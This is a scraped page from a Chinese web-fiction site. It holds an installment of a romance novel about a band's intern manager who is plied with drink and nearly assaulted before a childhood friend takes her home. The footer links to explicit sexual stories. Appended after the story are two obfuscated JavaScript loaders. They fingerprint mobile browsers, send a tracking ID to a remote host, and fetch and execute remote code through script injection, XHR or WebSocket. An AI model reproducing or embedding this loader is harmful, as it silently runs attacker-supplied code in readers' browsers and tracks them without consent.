图片载入中

扬州梦 (01~10) (3/3)

特大字】 【大字】 【中字】 【小字

徐贞再次出现在包间时,身后跟了个男人。他四处张望了一下,迅速闪进包间关上门。

“就是她?”男人看到醉倒在桌边的秦茵,上前扶起了她的头,“长得挺水灵嘛。”

“李老板慢慢玩,完事儿后叫我。”徐贞意味深长地拍了拍李老板的肩,脸上荡漾着笑意。

“行,行。”李老板不等徐贞离开就开始对秦茵上下其手起来。年轻女孩子的胸就是软啊。他迫不及待地抓了一把,满意地感慨着。随即把秦茵从凳子上架起来,吃力地迎面抱住,一步一步向沙发挪动。

这妞儿的身子真软。李老板很享受这样抱着秦茵的感觉,啧啧赞叹着。他用力嗅了嗅在自己脸侧散开的长发,有一种少女特有的香甜,忍不住舔了舔嘴唇,今晚肯定……

“唔哇――”

喝醉的秦茵突然发出一声怪叫,李老板还未来得及看看是怎么回事,就觉得背后一热,一股难闻的味道弥散开来。他惊得把秦茵扔到前面的沙发上,费力扭头一看,后背竟满是呕吐物。

“你他娘的!”李老板破口大骂,声音之大甚至连还没出门几步的徐贞都听到了。她听这粗口的架势,以为是秦茵醒了过来、两人发生了冲突,便急忙跑回包间推门一看。

只见李老板狼狈地站在一堆污秽物中,而秦茵则在沙发上睡得正酣。

“这……这是怎么了?”徐贞强忍住笑意,快步跑去卫生间抽了一长卷纸巾递过去。

“太晦气了,他娘的,吐我一身。”李老板急忙把衬衫脱掉,露出里面的背心,看上去颇为滑稽,“她倒睡得挺香?你们是不是合起伙来整我的!” “哪能啊,看您说的。”徐贞连忙辩解道,这下也不好光站在旁边看着了,只得上前搭把手,帮他擦掉裤子上迸溅的呕吐物。

李老板不怎么领情,依旧满腹怒气,把腿一收,看都未看徐贞一眼,骂骂咧咧地说:“他娘的,这算什么东西,我走了!”说罢摔门而出。

徐贞见状即刻从那滩污物旁跳开,冲敞开着的门狠狠地啐了一口,“自己倒霉还怨我?”随后眼神就落回秦茵身上,又气又恼地叹了口气。

饭局持续到这个点儿,几乎没剩下什么人。秦茵醉成这个样子,自己回家是不可能了,徐贞本人也自是不愿送她回去,只好掏手机寻找帮手。

想来想去,能找的也就是“楚客乐队”里那四个人,既和秦茵熟络也正好住在一起。按照拼音顺序,第一个跳入视线的是陈为良。“反正除了段珉以外谁都行。”徐贞叨咕了一嘴,拨通了电话。

*** *** *** ***

因为Mountain的缺席,“楚客乐队”有一段时间没有合练了。现在Mountain康复回归,四个人自然是要勤加练习,以免不进则退。 陈为良接到电话时排练刚刚结束,他和Mountain正在洗手间外等林肖凡和段珉出来一起回家。虽然这电话听得他有些突然,但秦茵好歹是乐队的实习经纪人,也不好坐视不理,就应允下来,和Mountain解释了一下先走了。

陈为良按照电话中说的位址一路找了过来,一进到包间,就看到徐贞脸色难看地望过来。

“你终于来了,她就麻烦你了。我头疼,先走了。”徐贞不耐烦地撂下两句话便匆匆离开了,搞得陈为良很莫名其妙。

“也不帮个忙。”他不满地“哼”了一声,随即无可奈何地看着醉成一滩烂泥的秦茵,“秦茵?秦茵?秦茵?”他边叫叫摇晃着秦茵的肩膀,期望着她能有些反应,不至于让自己一路抱着她回去。

可秦茵只是含煳地应了一声,继续倒头大睡。

陈为良只得放弃叫醒她,抻了抻胳膊,一个公主抱把她抱起。还真沈,看起来不是挺瘦的么。他在心中暗暗叫苦,吃力地迈开了步子。可刚走到电梯口就体力不支了,按了电梯后,他不得不抱着秦茵蹲下身歇口气。还好有位服务员经过,搭了把手,扶稳了秦茵把她放到陈为良背上。

“要不要帮您叫计程车?”服务员礼貌地问。

“好,好。”陈为良求之不得地答应着。

可能是换姿势的时候折腾了秦茵好久,所以她在背上不怎么老实,总是“咿咿呀呀”地说着什么,有几次还险些从陈为良背上滑下来。

“不能喝还喝这么多。”他抱怨着,颠了一下背上的秦茵调整位置,好巧不巧,把秦茵颠得有了点意识。

“难受……好……硌得慌……”

秦茵语无伦次地说着醉话,反倒把陈为良逗笑了,居然还嫌弃自己背得不够舒服?便开玩笑地回问:“要不换你背我?呵呵,看我明天怎么跟你算帐。” “明天……明天……明天……”秦茵重复着“明天”两个字,像念经一样在陈为良耳边絮絮叨叨。

“明天什么啊明天。”这女生的醉话还真是好笑,不是大小姐模式就是复读机模式。陈为良又颠了一下有向下滑的趋势的秦茵。

秦茵被颠得打了个嗝,接着说道:“明天……生日……是良哥哥……良哥哥……”

陈为良一愣,平日里秦茵只是和其他人一样叫自己“阿凉”的,怎么冒出来个“良哥哥”?不过这个称唿还挺耳熟,有谁这么叫过自己么?陈为良在脑海中搜索着有限的记忆。

“太可恶了……良哥哥……讨厌……”似乎颠了几下后,把秦茵的话匣子颠开了。她趴在陈为良背上一直喋喋不休地说着醉话,时而听得清,时而听不清。 电梯走走停停,一时半会儿也下不到一楼,陈为良就闲得问了问煳里煳涂的秦茵,“谁讨厌?是良哥哥?”

“对……讨厌•……”秦茵呓语道:“良哥哥……讨厌……”

“为什么啊?为什么‘良哥哥’讨厌?”陈为良越发觉得有趣,也不顾旁人怪异的眼神,接着问道。

“居然……忘了……居然……”秦茵的头向上挪了挪,正好蹭着陈为良的脸颊,弄得他痒痒的。

“喂,老实点儿,秦茵。”陈为良尽力向一旁抻着脖子,以免再被她的头发蹭到。

“你居然把我忘了!”

秦茵突然的一声把陈为良吓得够呛,电梯里其他人也一脸惊愕,一齐看向秦茵,然后都不约而同地责备地扫了陈为良一眼。

“不是,她喝醉……”陈为良有种活活背了黑锅的感觉,刚想解释,电梯门就开了,大家陆续走了出去。他笑着摇摇头,在大厅的沙发上坐了下来等计程车。 “居然……忘了……我可是……我还没有……”秦茵乱七八糟的醉话还在连续着。

陈为良好奇地看了秦茵一眼,好像还挺伤心的样子。他挠挠头,仔细想着,“良哥哥”这个称唿到底是……•

突然,他脑海里闪过一个画面。良哥哥?好像小时候楼下家的妹妹总是这么叫自己。他不敢置信地拍了拍后脑勺,再转过身仔细地看了看秦茵:我说怎么之前觉得这女生面熟,原来是小时候的玩伴啊。

这时服务生走了上来,表示计程车已经到了。陈为良便再次背起了秦茵,而她依旧在自己背上哀怨地念叨着,“良哥哥……忘了……忘了……”

秦茵迷迷煳煳地从床上爬起来,迎接了人生第一次宿醉。她感觉喉咙像被火烧过一样,干渴得发烫,脑袋完全沦为一具空壳,关于昨晚的记忆什么也想不起来,只记得自己最后是在和徐贞喝酒。算了,不想了,先喝点水。秦茵烦躁地敲了敲头,伸腿走下床。

“扑通”一声闷响,她结结实实地摔在了地上。双腿像踩在棉花上一样,软绵绵地根本无法用力,才刚迈开步子就跌倒了。

“要不要帮忙?”卧室门外意外地响起陈为良的声音。秦茵被摔得生疼,也顾不得形象,嘶哑着嗓子唤他进来,狼狈地被搀扶到厨房的椅子上。

“哦,对了,公司有你的包裹,我顺便给拿回来了。”陈为良给秦茵倒好水后,把放在门口的小包裹拿了进来。

“包裹?”秦茵有些恍惚,看着盒子上的快递单,这才幡然醒悟,“今天是你生日?!”

“对。”陈为良并不惊讶,脑袋里还想着昨晚发生的插曲,不自觉地笑了:“你昨晚念叨了一路,也算是第一个祝我生日快乐的人了。”

“哈?昨晚?”秦茵尴尬得不知该怎么接下去,天晓得自己昨晚究竟都干了些什么。

看秦茵一脸茫然的神情,陈为良就知道她喝断篇儿了,便简短地告诉她:“你昨晚喝多了,是我把你接回来的。”

秦茵只觉脸颊微微发烫,心里却像有一万只羊驼在狂奔:为什么!为什么这么珍贵的独处机会发生在自己烂醉的时候!

“你的脸好红啊,不会感冒了吧。”

秦茵连忙捂住脸,语无伦次地说:“没有,没事,昨晚真是麻烦你了……”她正说着,随即发觉现在公寓里似乎也只有他们两个人,“其他人都不在吗?”秦茵迟疑地说出口。

“都在公司。段少不放心你,我下午没什么安排,就让我回来看一下,正好撞见你从床上掉下来。”陈为良善意地笑着,却把秦茵的脸笑得更红了。 看来段珉还是很靠谱嘛,再见面时当真要好好谢谢他。秦茵甜得像掉进了蜜罐里一样,连嗓子都没有那么痛了,她一面羞涩地笑着,一面搜肠刮肚地琢磨应该怎么借此良机和陈为良开展愉快的聊天氛围,进而……

“我们是不是以前认识?”

陈为良的话一下子把还沈浸在美好愿景里的秦茵拉了回来,她“哎?”了一声,一时没有反应过来,呆呆地看着陈为良。

“我昨天接你回来的时候听你一直在讲‘良哥哥’,记得小时候有个妹妹也是这么叫我的……”陈为良讲到这里见秦茵还是没什么反应,有些不知所措,难道是自己认错人了?便准备改口:“额……也可能是我听错……”

“没有没有你没听错!”秦茵激动得脱口而出,双手狠狠拍在桌子上,一副恨不得扑上去捂住陈为良嘴巴的架势,生怕自己错失这个解释的机会。

陈为良先是被她夸张的反应惊到了,但随即宽心地笑出声,“你还是跟以前一模一样啊,小茵。”

*** *** *** ***

在陈为良的记忆中,第一次对秦茵有所印象是在6岁那年。他从妈妈的自行车上跳下来,遇见了在幼稚园门口哭闹的秦茵。

那天是她第一次去幼稚园,说什么也不愿意松开妈妈的手,哭得薄薄的刘海儿都被汗水浸湿了,一缕一缕地黏在额头上。同住一栋楼的陈妈妈作为过来人上前帮忙,但怎么也劝不了秦茵撒手,两个大人被她弄得头都大了。

幼小的陈为良当时着实很震惊,还是第一次遇见这么能哭的小孩,似乎怎么哭都不会累,无论怎样都能像橡皮糖一样死死地黏在妈妈身上。他看着自己妈妈手忙脚乱的模样,就掏了掏裤子兜儿,犹豫着拿出昨天和朋友比赛赢来的粉色弹珠,踮起脚举到秦茵眼下,大声说:“这个你要不要?”

秦茵倒还真的被弹珠吸引住了,擦了擦满眼的泪水,止住了哭声。

秦茵妈借机劝服她说,要跟着良哥哥一齐进到幼稚园才可以拿到弹珠。她不舍地盯着粉盈盈的珠子,终于松开了妈妈的衣裳。

“跟我走吧。”陈为良懂事地向秦茵伸出手,牵着她走进幼稚园,“你叫什么?”

“我……我叫茵茵。”秦茵抽抽搭搭地回答着,眼神一直落在陈为良右手里的弹珠上。

陈为良见状便把弹珠大方地交了出来,试着叫了叫这个很能哭的妹妹的

名字,摇摇头说:“好难念,叫快了嘴都不好使了,叫你小茵行不?”

秦茵接过心仪的弹珠,看着比自己高出一个头的陈为良,怯生生地点了点头。 打那以后,秦茵总会跟在陈为良身旁,看他比赛打弹珠,和他一起用石子去丢工厂大院里的狗,放学后坚持要和不同年级的他一同回家。

“当我发现你越来越黏我的时候我还挺害怕。”知道秦茵是儿时玩伴后,陈为良和她不觉亲近了许多,说话也不像先前那样保持着距离感,想到什么就说了出来。

“为什么?”秦茵既吃惊又失望,一直以为小时候的自己在陈为良眼前是乖巧听话的,未曾想竟是会让他害怕的存在。

“因为我再没有粉色弹珠了,怕哄不住你。”陈为良“哈哈”地笑着,秦茵也禁不住跟着乐了。

“不过你后来搬走后,我还挺想你的,结果整天缠着我妈让她再生个跟你一样的妹妹。”

秦茵听去了陈为良无心的话,心里默默地长出了一条柳枝。

“我记得你以前学钢琴来着,现在还在弹么?”

秦茵积极地点头,出神地看着坐在对面惬意聊天的陈为良。她感觉两人的距离正越缩越短,仿佛重新回到了小时候——自己每天追在他身边的时候。面前的陈为良也不再是自己负责的艺人,而是那个会把弹珠让给自己的良哥哥。 “小茵,你什么时候有空弹琴给我听听吧。”

就像极乐鸟会在求偶期大肆张扬自己绚丽的尾羽一样,秦茵此时也迫不及待地希望陈为良看到自己所有的闪光点,完全为她所吸引。故而在他一提出听琴的意愿时,秦茵就果断地表示择日不如撞日,待会儿和他一同回公司去。

陈为良担心她宿醉未醒,劝她好好在家休息。可秦茵整个人容光焕发地跳从凳子上跳起来,满不在乎地说:“没关系的,就当出去散个步。”

这个时间段的歌唱教室没有人占用,两人便顺利借用到了钢琴。“准备弹什么?”陈为良坐在旁边的椅子上,一脸期待地看过来。

“《更替的四季》……”因为确实有段时间没摸琴了,到了要紧关头,秦茵反倒有些忐忑,所以她选了一首比较简单的曲子,把握或许会大些,“万一我手生了,没弹好……”

陈为良鼓励地拍了拍她的肩膀,开着玩笑,“你就当我是萝卜,放宽心了弹。” 秦茵露齿轻笑,深深地唿了一口气。

虽然在按下第一个键之前还有些迟疑,但当手指触及到光滑的琴键后,记忆深处的各式音符便止不住地涌上来,熟悉的旋律像早春的花朵一样竞相在指间绽放。

秦茵沈浸在久违的琴声中,感觉周遭的一切都渐渐褪去了轮廓,自己仿佛回到了新奇的13岁,光脚踩在柔软的沙滩上,看着海浪乘风打上岸来,沙下突然出现一个小漩涡,透明的小蟹探出头,急匆匆地向远方爬去。

一曲终了,秦茵恍若做了一场梦一样,手还放在琴键上,屋里十分安静。 “真好听。”陈为良打破了半晌的沉默,赞叹道:“我都听呆了。”

“哪有那么夸张。”秦茵这才反应过来,不好意思地从琴凳上起了身。 “真的很好听。而且这个旋律好熟,是哪个电影的插曲么?”

“是《魔女宅急便》里的插曲,你也知道?”

陈为良恍然大悟,原来是那首曲子,“我以前也练过,不过还是钢琴弹出来的效果更棒。”他细细思索了一下,回味着刚刚的琴声,“你把速度放慢了么?听上去和原曲不大一样了。”

“是,我弹得慢了些。”秦茵没想到陈为良听得这么细心,不禁担忧刚刚的演奏在他心里会不会还有许多瑕疵。

“我很喜欢慢弹后的感觉,怎么说呢,很纯净的感觉吧。”

看到陈为良赞许的目光,秦茵就像得到了世界上最棒的礼物一样,她眼前一亮,大胆地说:“既然你也练过,哪天我们合奏一下?”

“合奏?我怕是会扯你的后腿。”陈为良憨憨地笑着。

“怎么会,你吉他明明弹得超赞的。”秦茵憧憬地仰着头,眼里就像装了星星进去,闪烁着迷人的光彩。

陈为良微微一愣,转而宽慰地笑了,摸了摸秦茵的头,“好吧。”

秦茵受宠若惊地眨了眨眼,但随即在心里欢天喜地地鸣放起烟花。

“茵茵,你怎么来了?”凑巧路过的段珉见教室的门是开着的,便向里探看了一眼,正好撞见了愉悦交谈的两人,心毫无预料地沈了一下,“你今天不是休息么?”

“我有些闷,出来走走。”秦茵闻声看向门外,发现是段珉,便欢快地解释着。

虽然二人独处的机会是段珉有意制造出来的,但看到这两人突然变得亲密的氛围,他有些不爽,便支开了陈为良,“阿凉,Mountain说新曲里有些地方想和你商量,你快过去吧。”

陈为良应着,和满面笑意的秦茵道了别,消失在门后。

“好了别发花痴了。”段珉在秦茵目不转睛的眼前晃了晃手,语调听起来有点奇怪。

“哈哈。”秦茵心满意足地笑了笑,小声和段珉道着谢:“今天太感谢你了!以后你有什么要求,在下定当万死不辞。”

“切。”段珉扭头哼了一声,“你们在这儿干嘛。”

“弹琴给阿凉听啊。”

段珉听罢蹙起了眉头,不满地抗议道:“我让你弹的时候你理都没理我,阿凉一说,你就屁颠屁颠地来了?都不知道在家醒醒酒。”

“什么叫‘屁颠屁颠’,这是女为悦己者容,琴为知己者弹。”秦茵见段珉还是一副很在意的样子,就哄劝道:“别说我重色轻友啊,那我现在再给你弹一首?”

“不,用,了。”段珉一字一顿地说。他并不是真的在意秦茵的琴声,只是在意第一个听到秦茵弹奏的人不是自己这件事。不过这又有什么好在意的,秦茵喜欢阿凉不是自己早就知道的事么。段珉觉得头有些痛,矛盾地揉了揉后颈,打算岔开这个恼人的话题,“对了,你昨晚怎么喝得那么醉。”

秦茵也记不起什么,就随口说:“我不大记得了,可能是和徐贞聊天聊得太开心了?”

“徐贞?”段珉轻轻挑起了眉毛。

“是啊,开始我也觉得奇怪,我跟她又不熟,怎么突然找我聊天了。不过她好像真的是拿我当朋友,所以我们就越说越开心,不小心喝多了呗。”

秦茵一点也没有怀疑昨晚发生的一切,心里反而还暗暗感谢她最后叫了陈为良来,如果不是借着昨晚的醉意,自己恐怕等到猴年马月,也无法向陈为良吐露出两人曾经认识的事情。

“你白痴啊,把你灌得那么醉当什么朋友。”段珉反感地说。就猜到昨晚徐贞硬留下秦茵的举动有古怪,虽然不知道她灌醉秦茵意欲何为,但肯定不是什么好事。

秦茵反而不以为然,并没有把段珉的话放在心上,“我酒量很差的,喝几杯就会晕,她只是不知道罢了。对了,她今天没事儿吧,估计昨晚也喝了不少。” “她能有什么事,上午就活蹦乱跳地去电台录节目去了。”段珉清楚徐贞对秦茵的不怀好意,但不便向她解释个中缘由,只好含煳地嘱咐了一句,“总之你离她远一点儿,平时长点儿心思。”

“是,是。”秦茵俏皮地吐了吐舌头,心大地应着。


上一篇:极度奸淫雨无尽的轮奸

下一篇:妹在隔壁【第1-49章 】 【第一部完】 (12/15)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};